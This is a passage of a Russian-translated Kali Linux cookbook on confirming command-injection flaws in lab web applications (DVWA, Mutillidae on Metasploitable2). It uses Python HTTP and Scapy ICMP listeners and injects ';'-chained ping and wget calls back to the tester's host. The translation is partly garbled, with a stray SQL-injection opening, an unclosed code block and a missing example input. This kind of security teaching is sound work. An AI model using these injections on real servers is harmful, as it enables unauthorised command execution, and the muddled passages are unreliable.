Принцип выполнения SQL-инъекции в HTTP POST-параметрах заключается в добавлении данных в конец метода POST. **Порт на вершине. Для получения дополнительной информации о настройке Metasploitable2 см. «Установка Metasploitable2» в первой главе.**

Также для этого руководства потребуется использовать текстовый редактор, такой как VIM или Nano, для записи скрипта в файловую систему. Дополнительную информацию о написании скриптов с помощью текстовых редакторов см. в разделе «Использование текстового редактора (VIM или Nano)» в первой главе.

### Шаги операции

Мы можем проверить уязвимость внедрения команд в веб-приложении, принудительно взаимодействуя с серверной системой и веб-сервером через команды. Журналы могут служить доказательством взаимодействия между уязвимым сервером и его доказательствами. В качестве альтернативы можно написать собственный скрипт для создания временного веб-сервиса, который будет прослушивать внешние подключения и распечатывать полученные запросы. Следующий код Python выполняет эту задачу:

```py
#!/usr/bin/python
import socket
httprecv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
httprecv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
httprecv.bind(("0.0.0.0",8000)) 
httprecv.listen(2)

(client, ( ip,sock)) = httprecv.accept()
print "Received connection from : ", ip 
data = client.recv(4096) 
print str(data)

client.close() 
httprecv.close() 

После выполнения скрипта необходимо принудительно заставить целевой сервер взаимодействовать со службой прослушивания, чтобы подтвердить уязвимость внедрения команды. Приложение DWVA имеет функцию ping, которая может использоваться для проверки связи с указанным IP-адресом. Пользовательский ввод напрямую передаётся системному вызову, и можно изменить выполнение любой команды нижнего уровня ОС, добавляя несколько команд с использованием точки с запятой, каждая команда упорядочена следующим образом:

В приведённом выше примере вводится команда для проверки связи с 127.0.0.1 и выполнения wget для http://172.16.36.224:8000. Запрос wget соответствует временному веб-серверу Python. После отправки ввода мы можем проверить выполнение команды, обратившись к входным данным скрипта:

root@KaliLinux:~# ./httprecv.py 
Received connection from :  172.16.36.135 
GET / HTTP/1.0 
User-Agent: Wget/1.10.2 
Accept: */* Host: 172.16.36.224:8000 
Connection: Keep-Alive 

Принцип работы

Скрипт Python подтверждает выполнение команды, поскольку он доказывает, что команды могут быть выполнены на целевом сервере через внедряемый трафик из разных систем. Когда трафик вводится на сервер, невозможно одновременно выполнять аналогичные запросы. Однако даже если трафик не является истинным источником обнаруженного трафика, мы всё равно можем легко попробовать несколько раз, чтобы исключить ошибки.

7.19 Использование ICMP-трафика для подтверждения выполнения команд

Уязвимости внедрения команд, возможно, являются наиболее опасными уязвимостями в векторах атак переноса веб-приложений. Большинство злоумышленников пытаются использовать эту уязвимость в надежде, что они смогут в конечном итоге выполнить произвольный код на нижнем уровне ОС. Уязвимость выполнения команды предоставляет возможность без дополнительных шагов. В этом руководстве мы обсудим, как использовать ICMP-трафик для написания пользовательского скрипта, подтверждающего уязвимость выполнения команды.

Подготовка

Для тестирования уязвимости выполнения команды на цели вам потребуется удалённая система, на которой запущено одно или несколько веб-приложений с уязвимостью выполнения команды. В приведённом примере мы используем экземпляр Metasploitable2 для выполнения задачи. Metasploitable2 имеет множество предустановленных уязвимых веб-приложений, работающих на TCP-порту 80. Дополнительную информацию о настройке Metasploitable2 см. в «Установке Metasploitable2» в первой главе.

Кроме того, это руководство также требует использования текстового редактора, такого как VIM или Nano, для записи сценария в файловой системе. Дополнительную информацию о создании сценариев с помощью текстовых редакторов см. в разделе «Использование текстового редактора (VIM или Nano)» в первой главе.

Операционные шаги

Принудительное взаимодействие серверной системы с сервером прослушивания через ICMP-трафик позволяет нам проверить уязвимость внедрения команд в веб-приложение. Полученный ответ ICMP можно использовать для идентификации уязвимой системы. Ниже приведён фрагмент кода Python, использующий библиотеку Scapy для реализации:

#!/usr/bin/python

import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 
from scapy.all import *

def rules(pkt):   
    try:      
        if (pkt[IP].dst=="172.16.36.224") and (pkt[ICMP]):         
            print str(pkt[IP].src) + " is exploitable"   
    except:      
        pass

print "Listening for Incoming ICMP Traffic.  Use Ctrl+C to stop listening"

sniff(lfilter=rules,store=0)

После запуска ICMP-прослушивателя нам нужно попытаться отправить ICMP-ответ с уязвимого сервера на службу прослушивания. Это можно сделать, введя команду ping в пользовательский ввод, который имеет уязвимость DNS-перечисления в Mutillidae, которая напрямую передаёт пользовательский ввод системному вызову. Отдельные запросы ping можно добавить после ввода с использованием точки с запятой.

Если предположить, что сервер уязвим, то Python-прослушиватель сообщит о получении ответа ICMP, и цель может быть уязвима.

root@KaliLinux:~# ./listener.py 
Listening for Incoming ICMP Traffic.  Use Ctrl+C to stop listening 
172.16.36.135 is exploitable

Принцип работы

Python-скрипт подтверждает выполнение команды, потому что он доказывает, что команды можно выполнить на целевой системе через внедряемые пакеты из различных систем. Невозможно одновременно выполнять похожие запросы, когда пакеты вводятся на сервер. Однако мы всё ещё можем легко повторить попытку несколько раз, даже если пакеты не являются истинным источником обнаруженных пакетов, чтобы исключить ложные срабатывания.

1
https://api.gitlife.ru/oschina-mirror/wizardforcel-kali-linux-network-scanning-cookbook-zh.git
git@api.gitlife.ru:oschina-mirror/wizardforcel-kali-linux-network-scanning-cookbook-zh.git
oschina-mirror
wizardforcel-kali-linux-network-scanning-cookbook-zh
wizardforcel-kali-linux-network-scanning-cookbook-zh
master